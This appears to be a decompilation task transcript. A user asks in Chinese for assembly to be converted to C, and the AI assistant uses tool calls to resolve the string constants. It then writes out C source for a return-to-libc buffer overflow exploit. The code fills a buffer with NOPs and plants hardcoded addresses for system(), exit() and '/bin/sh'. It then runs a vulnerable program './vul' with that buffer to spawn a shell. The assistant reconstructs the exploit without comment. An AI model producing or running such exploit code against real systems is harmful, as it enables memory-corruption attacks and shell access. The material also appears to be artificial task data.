user: 请将以下的汇编代码转换成C语言代码：

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x40,%rsp
  mov    %edi,-0x34(%rbp)
  mov    %rsi,-0x40(%rbp)
  movl   $0x0,-0x20(%rbp)
  movl   $0x40,-0x1c(%rbp)
  movl   $0x0,-0x24(%rbp)
  cmpl   $0x1,-0x34(%rbp)
  jle    L3
  mov    -0x40(%rbp),%rax
  add    $0x8,%rax
  mov    (%rax),%rax
  mov    %rax,%rdi
  call   <atoi@plt>
  mov    %eax,-0x24(%rbp)
L3:
  mov    -0x1c(%rbp),%eax
  mov    %eax,%edi
  call   <malloc@plt>
  mov    %rax,-0x18(%rbp)
  cmpq   $0x0,-0x18(%rbp)
  jne    L9
  lea    D11(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  mov    $0x0,%edi
  call   <exit@plt>
L9:
  mov    -0x1c(%rbp),%edx
  mov    -0x18(%rbp),%rax
  mov    $0x90,%esi
  mov    %rax,%rdi
  call   <memset@plt>
  mov    -0x18(%rbp),%rax
  mov    %rax,-0x10(%rbp)
  mov    -0x24(%rbp),%eax
  movslq %eax,%rdx
  mov    -0x10(%rbp),%rax
  add    %rdx,%rax
  mov    %rax,-0x8(%rbp)
  mov    $0xb7e63280,%esi
  lea    D27(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    -0x8(%rbp),%rax
  lea    0x8(%rax),%rdx
  mov    %rdx,-0x8(%rbp)
  mov    $0xb7e63280,%ecx
  mov    %rcx,(%rax)
  mov    $0xb7e55820,%esi
  lea    D52(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    -0x8(%rbp),%rax
  lea    0x8(%rax),%rdx
  mov    %rdx,-0x8(%rbp)
  mov    $0xb7e55820,%ecx
  mov    %rcx,(%rax)
  mov    $0xb7f8bc18,%esi
  lea    D7(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    -0x8(%rbp),%rax
  lea    0x8(%rax),%rdx
  mov    %rdx,-0x8(%rbp)
  mov    $0xb7f8bc18,%ecx
  mov    %rcx,(%rax)
  mov    -0x1c(%rbp),%eax
  cltq
  lea    -0x1(%rax),%rdx
  mov    -0x18(%rbp),%rax
  add    %rdx,%rax
  movb   $0x0,(%rax)
  mov    -0x18(%rbp),%rax
  mov    $0x0,%ecx
  mov    %rax,%rdx
  lea    D50(%rip),%rax
  mov    %rax,%rsi
  lea    D51(%rip),%rax
  mov    %rax,%rdi
  call   <execl@plt>
  nop
  leave
  ret
```

tool_calls: name: extract_symbolic_data
arguments: data_tag: D11
datatype: string
name: extract_symbolic_data
arguments: data_tag: D27
datatype: string
name: extract_symbolic_data
arguments: data_tag: D52
datatype: string
name: extract_symbolic_data
arguments: data_tag: D7
datatype: string
name: extract_symbolic_data
arguments: data_tag: D50
datatype: string
name: extract_symbolic_data
arguments: data_tag: D51
datatype: string

tool: D11: Can't allocate memory.

tool: D27: [+] system() at 0x%x


tool: D52: [+] exit() at 0x%x


tool: D7: [+] /bin/sh string at 0x%x


tool: D50: vul

tool: D51: ./vul

assistant: ```c
void main(int argc, char *argv[]) {
  char *buff, *ptr, *shellcode_ptr;
  long *addr_ptr, addr;
  int offset = 0, malicious_size = 64;
  int buffer_size = 0;
  int i;
  if (argc > 1)
    buffer_size = atoi(argv[1]);
  if (!(buff = malloc(malicious_size))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  memset(buff, 0x90, malicious_size);
  ptr = buff;
  addr_ptr = (long *)(ptr + buffer_size);
  printf("[+] system() at 0x%x\n", (unsigned int)0xb7e63280);
  *(addr_ptr++) = 0xb7e63280;
  printf("[+] exit() at 0x%x\n", (unsigned int)0xb7e55820);
  *(addr_ptr++) = 0xb7e55820;
  printf("[+] /bin/sh string at 0x%x\n", (unsigned int)0xb7f8bc18);
  *(addr_ptr++) = 0xb7f8bc18;
  buff[malicious_size - 1] = '\0';
  execl("./vul", "vul", buff, NULL);
}
```